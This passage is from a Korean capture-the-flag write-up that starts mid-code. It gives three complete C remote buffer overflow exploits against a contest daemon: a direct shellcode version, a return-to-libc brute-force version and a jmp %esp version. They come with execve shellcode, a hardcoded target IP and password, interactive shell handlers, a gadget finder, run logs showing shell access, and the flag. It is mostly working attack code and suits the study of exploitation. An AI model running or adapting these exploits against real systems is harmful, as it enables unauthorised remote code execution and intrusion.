                __smlbf[i++]=shellcode[j];

        *(long *)&__smlbf[i]=0x41414141; /* frame pointer */
        i+=4;
        *(long *)&__smlbf[i]=retaddr; /* return address */
        i+=4;
        /* USER 명령 수행 시, 체킹되는 바운더리를 알맞게 덮어씀. */
        memset((char *)__bigbf,0,sizeof(__bigbf));
        snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s \ n",USER_CMD,CHECK_BD,__smlbf);
```

```
        /* 이미 작성된 공격 코드를 지속적으로 대입한다. */
        while(1)
        {
                fprintf(stdout," [+] Setting socket. \ n");
                socket_fd=setsock(hostname,port);
#ifdef DEBUG
                sleep(10);
#endif
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#1] Connect, It's message. \ n");
#ifdef DEBUG
                fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                /* password */
                send(socket_fd,PASSWD,strlen(PASSWD),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#2] Send password. \ n");
#ifdef DEBUG
                fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                /* send code */
                fprintf(stdout," [*] Send code. \ n");
                send(socket_fd,__bigbf,strlen(__bigbf),0);
                memset((char *)readbuf,0,sizeof(readbuf));

                /* QUIT 명령을 보내어 daemon 을 종료 시킴 */
                send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                fprintf(stdout," [#3] Send QUIT command. \ n");

                fprintf(stdout," [+] Waiting, Shell. \ n");
                sleep(1);
```

```
                /* 종료된 서버에 명령을 보냄.
                ** 응답이 있을 경우, shell 이 실행된 것으로 간주하고 쉘 통신 함수를
                ** 수행함.
                */
                send(socket_fd,command,strlen(command),0);
                memset((char *)readbuf,0,sizeof(readbuf));
                chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

                if(chk==-1){
                        fprintf(stdout," [-] Failed, reconnect attack. \ n \ n");
                        close(socket_fd);
                        continue;
                }
                else
                {
                        fprintf(stdout,"%s \ n",readbuf);
                        (void)shell(socket_fd);
                }
                close(socket_fd);
        }
}

void usage(char *args){
        fprintf(stdout," Usage: %s -options arguments \ n \ n",args);
        fprintf(stdout," -r [retloc]       - return address. \ n");
        fprintf(stdout," -h [hostname]     - target host. \ n");
        fprintf(stdout," -p [port]         - port number. \ n");
        fprintf(stdout," \ n Example: %s -hlocalhost -r0x41414141 \ n \ n",args);
        exit(0);
}


int setsock(char *hostname,int port)
{
        int sock;
        struct hostent *he;
```

```
        struct sockaddr_in x_addr;

        if((he=gethostbyname(hostname))==NULL)
        {
                herror("gethostbyname");
                exit(1);
        }
        if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
                perror("socket");
                exit(1);
        }
        x_addr.sin_family=AF_INET;
        x_addr.sin_port=htons(port);
        x_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(x_addr.sin_zero),8);

        if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)
        {
                perror("connect");
                exit(1);
        }
        return(sock);
}

void shell(int socks)
{
        int died;
        char fall_again[1024];
        fd_set rset;
        bzero(&fall_again,1024);

        while(1)
        {
                fflush(stdout);
                FD_ZERO(&rset);
```

```
                FD_SET(socks,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(socks+1,&rset,NULL,NULL,NULL);

                if(FD_ISSET(socks,&rset))
                {
                        died=read(socks,fall_again,sizeof(fall_again)-1);
                        if(died<=0)
                        {
                                fprintf(stdout," \ n [*] Thanks. \ n \ n");
                                exit(0);
                        }
                        fall_again[died]=0;
                        fprintf(stdout,"%s",fall_again);
                }
                if(FD_ISSET(STDIN_FILENO,&rset))
                {
                        died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
                        if(died>0)
                        {
                                fall_again[died]=0;
                                write(socks,fall_again,died);
                        }
                }
        }
        return;
}

/* eof */
```

- -

다음과 같이 shell 을 실행할 수 있었고, /PASSWORD 파일을 읽어서,
모든 레벨을 통과하게 되었습니다.

bash$ ./DH-breakLEB4

DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit.

[+] Setting socket.
[#1] Connect, It's message.
[#2] Send password.
[*] Send code.
[#3] Send QUIT command.
[+] Waiting, Shell.
[-] Failed, reconnect attack.

[+] Setting socket.
[#1] Connect, It's message.
[#2] Send password.
[*] Send code.
[#3] Send QUIT command.
[+] Waiting, Shell.
uid=1000 gid=1000
cat /PASSWORD
축하합니다. 4 번 문제를 해결하셨습니다.
빠른 시간내에 아래 해답을 해킹대회 웹 사이트
(hacking.kcs.ac.kr)에 로그인 후 등록하시기 바랍니다.
4 번 문제 통과 등록후 대회 종료 시점까지 권한 소유를 해야 최종 승자가 됩니다.
권한 소유는 웹서버의 index.html 파일에 자신의 ID 를 웹으로 확인 할 수 있도록
표시하면 됩니다.
즉, Capture the flag 형식의 문제 입니다.

해답 : cnr ^ rhwlrhtn%tmdflfmfdnlgo

현재 서버가 닫힌 관계로, 첫번째 방법과 두 번째 방법을 저의 서버에서 시험해보았습니다.
(시스템의 버전이 같으면 라이브러리도 같으므로, 정적인 주소 값 또한 같습니다.)

우선, 첫 번째 소개했던 방법은 return address 부분에 system lib 주소를 설정하고,
그 다음 주소로 exit 주소를 설정하며, 그 다음 4byte를 "/bin/sh" 의 주소로 설정합니다.

system exit lib 주소는 debugger를 통해 쉽게 구할 수 있습니다.

```
(gdb) br main
Breakpoint 1 at 0x804842b
(gdb) r
Starting program: /tmp/test_binary

Breakpoint 1, 0x804842b in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0x42029bb0 <exit>
(gdb)
```

문제는 "/bin/sh" shell 문자열 주소를 구하는 방법인데, 이것은 간단한 address
brute-force로 공격 구현이 가능합니다. 우선, system과 exit 라이브러리 주소를 얻습니다.
(같은 버전의 linux 시스템) 그 다음, "/bin/sh" 주소를 구하기 위해 시스템의 환경변수
시작 부분부터 1byte씩 증가하며 대입하기 시작합니다.
(당시 공격 시스템상에서는 콘 쉘을 사용하고 있었습니다. "/bin/ksh")

위 설명을 토대로 완성된 자동화 exploit code는 다음과 같습니다.

-- DH-retolib.c --

```
/*
** DH-retolib - x86/redhat-linux level4 remote buffer overflow exploit
** Version: Return to library exploit method
** --
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** -- How to exploit --
**
** bash$ ./DH-retolib
**
**  DH-retolib - x86/redhat-linux level4 remote buffer overflow exploit.
**  Version: Return to library exploit method.
**
**  ...
**  [+] Setting socket.
**  [#1] Connect, It's message.
**  [#2] Send password.
**  [*] Send code.
**  [*] Brute-force address: 0xbffffbfb
**  [#3] Send QUIT command.
**  [+] Waiting, Shell.
**  [-] Failed, reconnect attack.
**
**  [+] Setting socket.
**  [#1] Connect, It's message.
**  [#2] Send password.
**  [*] Send code.
**  [*] Brute-force address: 0xbffffbfc
**  [#3] Send QUIT command.
**  [+] Waiting, Shell.
** uid=0 gid=0
**
** --
** I like Zero and, Igniz!
*/
```

```
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PASSWD "eoeks$tlffur&wk \ n"
#define QUIT_CMD "QUIT \ n" /* quit */
#define DEF_CMD "ksh -i; id \ n" /* default command */
#define HOSTNAME "211.205.70.253"
#define PORT 23152
#define USER_CMD "USER012345678901234567890123 4"
#define CHECK_BD "=CHECK1=" /* boundary str */

#define STRT_ADDR (0xbffffbf4)

char shellcode[]=
        " \ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
         " \ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

u_char __bigbf[1024];
u_char __smlbf[256];
char readbuf[2048];
int chk=0;
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
         int socket_fd,i=0,j=0,a,port=(PORT);
         u_long bf_addr=(STRT_ADDR); /* 환경 변수 stack 시작부 */
```

```
	char hostname[256]=HOSTNAME;

	fprintf(stdout," \ n DH-retolib - x86/redhat-linux level4 remote buffer
overflow exploit. \ n");
	fprintf(stdout," Version: Return to library exploit method. \ n \ n");
	fflush(stdout);

	while((a=getopt(argc,argv,"h:p:a:"))!=EOF){
		switch(a){
			case 'h':
				memset((char *)hostname,0,sizeof(hostname));
				strncpy(hostname,optarg,sizeof(hostname)-1);
				break;

			case 'p':
				port=atoi(optarg);
				break;

			case 'a':
				bf_addr=strtoul(optarg,NULL,0);
				break;

			case '?':
				(void)usage(argv[0]);
				break;
		}
	}

	while(1)
	{
		if(bf_addr==0xbfffffff) /* stack 끝까지 대입 */
		{
			fprintf(stdout," [-] Brute-force Failed. (stack end) \ n \ n");
			exit(-1);
		}
		else bf_addr++;
```

```
/* 대입하는 shell 문자열 주소에 0x00 또는 0x0a 가 존재하는 지 검사.
** 존재할 경우, 재대입을 시도 함. */
#define CHECK(retloc) { \
                if((((retloc>>8)&0xff)==(0x0a))||(((retloc>>0)&0xff)==(0x0a))) \
                        continue; \
                if((((retloc>>8)&0xff)==(0x00))||(((retloc>>0)&0xff)==(0x00))) \
                        continue; \
}
                CHECK(bf_addr);

                memset((char *)__smlbf,0,sizeof(__smlbf));
                for(i=0;i<120-strlen(shellcode);i++)
                        __smlbf[i]=0x41;
                for(j=0;j<strlen(shellcode);j++)
                        __smlbf[i++]=shellcode[j];

                *(long *)&__smlbf[i]=0x41414141; /* frame pointer */
                i+=4;
                *(long *)&__smlbf[i]=0x4203f2c0; /* system address */
                i+=4;
                *(long *)&__smlbf[i]=0x42029bb0; /* exit address */
                i+=4;
                *(long *)&__smlbf[i]=bf_addr; /* shell string address */
                i+=4;
                /* 저장 순서는 다음과 같음.
                ** [     EBP    ][    RET   ][  …   ][    …    ]
                ** 0x41414141    system       exit    shell str
                */
                /* USER 명령 수행 시, 체킹되는 바운더리를 알맞게 덮어씀. */
                memset((char *)__bigbf,0,sizeof(__bigbf));
                snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s \ n",USER_CMD,CHECK_BD,__smlbf);

                fprintf(stdout," [+] Setting socket. \ n");
                socket_fd=setsock(hostname,port);
```

```
#ifdef DEBUG
                    sleep(10);
#endif
                    memset((char *)readbuf,0,sizeof(readbuf));
                    recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                    fprintf(stdout," [#1] Connect, It's message. \ n");
#ifdef DEBUG
                    fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                    /* password */
                    send(socket_fd,PASSWD,strlen(PASSWD),0);
                    memset((char *)readbuf,0,sizeof(readbuf));
                    recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                    fprintf(stdout," [#2] Send password. \ n");
#ifdef DEBUG
                    fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
                    /* send code */
                    fprintf(stdout," [*] Send code. \ n");
                    fprintf(stdout," [*] Brute-force address: %p \ n",bf_addr);
                    send(socket_fd,__bigbf,strlen(__bigbf),0);
                    memset((char *)readbuf,0,sizeof(readbuf));

                    send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
                    memset((char *)readbuf,0,sizeof(readbuf));
                    recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
                    fprintf(stdout," [#3] Send QUIT command. \ n");

                    fprintf(stdout," [+] Waiting, Shell. \ n");
                    sleep(1);

                    send(socket_fd,command,strlen(command),0);
                    memset((char *)readbuf,0,sizeof(readbuf));
                    chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

                    if(chk==-1){
```

```
                        fprintf(stdout," [-] Failed, reconnect attack. \ n \ n");
                        close(socket_fd);
                        continue;
                }
                else
                {
                        fprintf(stdout,"%s \ n",readbuf);
                        (void)shell(socket_fd);
                }
                close(socket_fd);
        }
}

void usage(char *args){
        fprintf(stdout," Usage: %s -options arguments \ n \ n",args);
        fprintf(stdout," -a [shelladdr]   - shell string addr. \ n");
        fprintf(stdout," -h [hostname]    - target host. \ n");
        fprintf(stdout," -p [port]        - port number. \ n");
        fprintf(stdout," \ n Example: %s -hlocalhost -a0xbffffbf4 \ n \ n",args);
        exit(0);
}


int setsock(char *hostname,int port)
{
        int sock;
        struct hostent *he;
        struct sockaddr_in x_addr;

        if((he=gethostbyname(hostname))==NULL)
        {
                herror("gethostbyname");
                exit(1);
        }
        if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
```

```
                perror("socket");
                exit(1);
        }
        x_addr.sin_family=AF_INET;
        x_addr.sin_port=htons(port);
        x_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(x_addr.sin_zero),8);

        if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)
        {
                perror("connect");
                exit(1);
        }
        return(sock);
}

void shell(int socks)
{
        int died;
        char fall_again[1024];
        fd_set rset;
        bzero(&fall_again,1024);

        while(1)
        {
                fflush(stdout);
                FD_ZERO(&rset);
                FD_SET(socks,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(socks+1,&rset,NULL,NULL,NULL);

                if(FD_ISSET(socks,&rset))
                {
                        died=read(socks,fall_again,sizeof(fall_again)-1);
                        if(died<=0)
                        {
```

```
                                fprintf(stdout," \ n [*] Thanks. \ n \ n");
                                exit(0);
                        }
                        fall_again[died]=0;
                        fprintf(stdout,"%s",fall_again);
                }
                if(FD_ISSET(STDIN_FILENO,&rset))
                {
                        died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
                        if(died>0)
                        {
                                fall_again[died]=0;
                                write(socks,fall_again,died);
                        }
                }
        }
        return;
}

/* eof */
```

- -

이 코드는 환경변수의 시작 주소부터 stack의 끝까지 대입할 것입니다.
결국, 환경 변수 내에 존재하는 shell 문자열을 통해 shell을 띄웁니다.

그럼, 이번엔 두 번째로 소개했던 **jmp %esp exploit method**입니다.
jmp %esp 코드는 16진수로 2byte(0xff,0xe4)를 차지합니다.
프로그램 상에서 return을 위해 ret 문법이 실행될 때는 %esp 레지스터가 가리키는 곳에 따라 %eip 레지스터 값을 참조하게 되는데, 문법 실행 후에는 %esp 레지스터가 4만큼 증가합니다. 이 때, return되는 주소가 jmp *%esp 문법을 갖고 있으면 %esp 레지스터가 가리키는 곳으로 다시 되돌아오게 됩니다.
즉, (return address + 4)의 주소에 공격자의 shellcode를 입력하였을 경우,
별도의 brute-force 작업 없이, 편리하게 shell을 실행할 수 있습니다.

그러나, 이 공격 방법의 문제점은 return address 이 후에 사용자가 입력하는 값을 수용할만한 버퍼가 존재해야 한다는 점입니다. 또한, 입력 값에 한계가 존재할 경우,

공격은 매우 어렵게 됩니다.
jmp %esp가 존재하는 주소는 라이브러리 주소 값부터 시작하여 stack 끝부분까지 checking 하여 찾아낼 수 있습니다. 코드를 찾는 자동화 툴은 exploit code 아래에 첨부하도록 하겠습니다. 위 설명을 토대로 완성된 exploit code는 다음과 같습니다.

-- DH-jmpesp.c --

```
/*
** DH-jmpesp - x86/redhat-linux level4 remote buffer overflow exploit
** Version: jmp *%esp exploit method
** --
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** -- How to exploit --
**
** bash$ ./DH-jmpesp
**
**   DH-jmpesp - x86/redhat-linux level4 remote buffer overflow exploit.
**   Version: jmp *%esp exploit method.
**
**   [+] Setting socket.
**   [#1] Connect, It's message.
**   [#2] Send password.
**   [*] Send code.
**   [#3] Send QUIT command.
**   [+] Waiting, Shell.
** uid=0 gid=0
**
** --
** I like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
```

```
#define PASSWD "eoeks$tlffur&wk \ n"
#define QUIT_CMD "QUIT \ n" /* quit */
#define DEF_CMD "ksh -i; id \ n" /* default command */
#define HOSTNAME "211.205.70.253"
#define PORT 23152
#define USER_CMD "USER012345678901234567890123 4"
#define CHECK_BD "=CHECK1=" /* boundary str */

/* exploit method 의 핵심인 jmp %esp 주소 값입니다.
** 주소값을 얻는 code 역시 첨부하도록 하겠습니다.
*/
#define JMP_ESP (0x4212c5eb) /* library address - jmp %esp code */

char shellcode[]=
        " \ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
         " \ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

u_char __bigbf[1024];
u_char __smlbf[256];
char readbuf[2048];
int chk=0;
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
        int socket_fd,i=0,j=0,a,port=(PORT);
        u_long retaddr=(JMP_ESP);
        char hostname[256]=HOSTNAME;
        memset((char *)__smlbf,0,sizeof(__smlbf));
```

```
        fprintf(stdout," \ n DH-jmpesp - x86/redhat-linux level4 remote buffer
overflow exploit. \ n");
        fprintf(stdout," Version: jmp *%%esp exploit method. \ n \ n");
        fflush(stdout);

        while((a=getopt(argc,argv,"h:p:j:"))!=EOF){
                switch(a){
                        case 'h':
                                memset((char *)hostname,0,sizeof(hostname));
                                strncpy(hostname,optarg,sizeof(hostname)-1);
                                break;

                        case 'p':
                                port=atoi(optarg);
                                break;

                        case 'j':
                                retaddr=strtoul(optarg,NULL,0);
                                break;

                        case '?':
                                (void)usage(argv[0]);
                                break;
                }
        }

        /* 먼저, frame pointer 전까지 버퍼를 overflow 시킵니다. */
        for(i=0;i<120;i++)
                __smlbf[i]=0x41;

        *(long *)&__smlbf[i]=0x41414141; /* frame pointer */
        i+=4;
        /* jmp %esp code 를 수행하게 하여, %esp+4 부분을 수행하게 합니다. */
        *(long *)&__smlbf[i]=retaddr; /* return address (jmp esp) */
        i+=4;
        /*  이 곳이 ret 수행 후, %esp+4 부분이 됩니다. */
```

```
        for(j=0;j<strlen(shellcode);j++) /* shellcode */
                __smlbf[i++]=shellcode[j];

        memset((char *)__bigbf,0,sizeof(__bigbf));
        snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s \ n",USER_CMD,CHECK_BD,__smlbf);
        fprintf(stdout," [+] Setting socket. \ n");
        socket_fd=setsock(hostname,port);
#ifdef DEBUG
        sleep(10);
#endif
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
        fprintf(stdout," [#1] Connect, It's message. \ n");
#ifdef DEBUG
        fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
        /* password */
        send(socket_fd,PASSWD,strlen(PASSWD),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
        fprintf(stdout," [#2] Send password. \ n");
#ifdef DEBUG
        fprintf(stdout,"- - \ n%s \ n- - \ n",readbuf);
#endif
        /* send code */
        fprintf(stdout," [*] Send code. \ n");
        send(socket_fd,__bigbf,strlen(__bigbf),0);
        memset((char *)readbuf,0,sizeof(readbuf));

        send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
        fprintf(stdout," [#3] Send QUIT command. \ n");

        fprintf(stdout," [+] Waiting, Shell. \ n");
```

```
        sleep(1);

        send(socket_fd,command,strlen(command),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

        if(chk==-1){
                fprintf(stdout," [-] Failed, exploit. \ n \ n");
                close(socket_fd);
                exit(-1);
        }
        else
        {
                fprintf(stdout,"%s \ n",readbuf);
                (void)shell(socket_fd);
        }
        close(socket_fd);
}

void usage(char *args){
        fprintf(stdout," Usage: %s -options arguments \ n \ n",args);
        fprintf(stdout," -j [jmpesp]        - jmp *%%esp address. \ n");
        fprintf(stdout," -h [hostname]      - target host. \ n");
        fprintf(stdout," -p [port]          - port number. \ n");
        fprintf(stdout," \ n Example: %s -hlocalhost -j0x41414141 \ n \ n",args);
        exit(0);
}


int setsock(char *hostname,int port)
{
        int sock;
        struct hostent *he;
        struct sockaddr_in x_addr;

        if((he=gethostbyname(hostname))==NULL)
```

```
        {
                herror("gethostbyname");
                exit(1);
        }
        if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
                perror("socket");
                exit(1);
        }
        x_addr.sin_family=AF_INET;
        x_addr.sin_port=htons(port);
        x_addr.sin_addr=*((struct in_addr*)he->h_addr);
        bzero(&(x_addr.sin_zero),8);

        if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)
        {
                perror("connect");
                exit(1);
        }
        return(sock);
}

void shell(int socks)
{
        int died;
        char fall_again[1024];
        fd_set rset;
        bzero(&fall_again,1024);

        while(1)
        {
                fflush(stdout);
                FD_ZERO(&rset);
                FD_SET(socks,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(socks+1,&rset,NULL,NULL,NULL);
```

```
                if(FD_ISSET(socks,&rset))
                {
                        died=read(socks,fall_again,sizeof(fall_again)-1);
                        if(died<=0)
                        {
                                fprintf(stdout," \ n [*] Thanks. \ n \ n");
                                exit(0);
                        }
                        fall_again[died]=0;
                        fprintf(stdout,"%s",fall_again);
                }
                if(FD_ISSET(STDIN_FILENO,&rset))
                {
                        died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
                        if(died>0)
                        {
                                fall_again[died]=0;
                                write(socks,fall_again,died);
                        }
                }
        }
        return;
}

/* eof */
--
```

jmp %esp code의 위치를 찾기 위해 설계된 주소 값 자동화 검색 툴은 다음과 같습니다.

```
-- DH-autofd.c --
/*
** jmp *%esp code auto finder.
** idea method by bkbll ;D
** --
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

u_long start=0x4211cc79; /* 라이브러리 특정 주소 */
u_long r_n=0;
u_char *ptr;

/* segfault가 발생했을 때, 수행 후 프로그램 종료. */
void print_err(){
        fprintf(stderr,"SIGSEGV exit. \ n");
        fprintf(stderr,"error addr: %p \ n",ptr+r_n);
        r_n++;
        exit(-1);
}

int main(){
        ptr=(u_char *)start;
        signal(SIGSEGV,print_err);

        /* stack 끝까지 검색 */
        while((u_long)ptr+r_n<0xbfffffff){
                if((*(ptr+r_n)==0xff)&&(*(ptr+r_n+1)==0xe4)){
                        /* 발견한 address 출력 */
                        fprintf(stdout,"addr: %p \ n",ptr+r_n);
                        r_n+=2; /* (0xff,0xe4) 일 경우 */
                }
```

```
                r_n++;
        }
        exit(0);
}
--
```

다음과 같이 실행하면, 시스템 라이브러리 상에 존재하는 jmp *%esp code를 찾을 수 있습니다. 찾은 값을 exploit에 대입하면, shell을 실행할 수 있습니다.
(제 RedHat Linux 9.0 서버에서 실행한 결과 화면입니다.)

```
bash$ ./DH-autofd
addr: 0x42122ba7
addr: 0x42124720
addr: 0x421276c7
addr: 0x4212c53b
addr: 0x4212c5eb
addr: 0x42130b3b
SIGSEGV exit.
error addr: 0x42133000
bash$
```

0x05. 최종 권한 획득 후 상황 및 대회 후기.

최종 권한을 획득한 후에 chroot 시스템이 어떻게 구성되어 있는 지 조사해 보았습니다.
당시 제한적인 환경으로 인해 해당 권한 이상을 획득할 수 없었으며, 접속된 다른
사용자들과 같은 권한이기 때문에 index.html을 함께 변경한다는 것은 무의미했습니다.
단지, script를 수행한 개수, 프로세스 점유율, 그 밖의 꽁수(?), 나머지는 운에 따라
결정되어 버렸던 것 같습니다.

시스템에 perl이 설치된 것을 알고 그에 대한 대처를 마련했으나, 시스템 상에서 DoS,
race 기법을 통해 index.html을 변경하는 사용자들을 저지하지는 못했습니다.
한가지 예로, perl의 while 문법은 ksh의 while 문법에 비해 퍼포먼스가 굉장히
많이 뒤떨어지더군요. 그래서 전 perl로 파일을 수정하고, 그 수정하는 script를 ksh에서
while로 수행해주었습니다. 그러나 대회 종료를 앞에 둔 마지막 상황에는 서버에
접속조차 되지 않는 현상이 장시간 발생하여 포기할 수 밖에 없었습니다.

또한, 대회 종료 후 접속했을 때 매우 재미있는(?) 것들을 확인할 수 있었습니다.
참가자들 프라이버시가 있으므로 밝히지는 않겠지만. 남의 작성한 코드를 수정만 가하여,
자신의 이름을 몰래 넣어두는 양심 없는 사용자들이 의외로 많이 있었습니다. ^ ^
제가 작성했던 perl code는 shell script로 작성이 가능하도록 하였습니다.
code 디렉토리에 따로 첨부하도록 하겠습니다. (code/make.sh)

제한된 환경에서 index.html을 차지하는 것만으로 순위가 결정 되어지는 것은 어찌 보면
잘못된 rule이라 할 수 있습니다. 차라리 특정 사용자에게 관리자 권한을 허용한다면,
허용된 범위 내에서 index 선점 방식이 다양하게 펼쳐질 수도 있었습니다.

예를 들면, 커널 기반 LKM 방식을 통해 파일을 수정 못하도록 방어한다든지 root도
수정하지 못하도록 파일시스템 내에 트릭을 선보인다든지. (관리자 권한의 사용자만이
DoS를 할 수 있는 것은 아닙니다.)

- -
마지막으로 대회를 운영하느라 고생하신 운영진과 주최측님들 수고 많으셨습니다.
악법도 법이듯이, 대회 규칙을 대회 진행 중에 변경하는 사항은 없어야 할 것입니다.
국내 해킹 & 보안 업계의 발전을 위해서 앞으로도 좋은 대회 주최해주시기 바랍니다.

이것으로, 부족한 보고서를 마치도록 하겠습니다.
감사합니다.
- -